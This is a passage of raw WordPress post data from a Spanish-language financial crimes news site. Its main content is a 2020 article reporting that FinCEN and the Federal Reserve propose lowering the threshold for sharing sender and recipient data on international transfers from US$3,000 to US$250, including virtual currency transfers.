Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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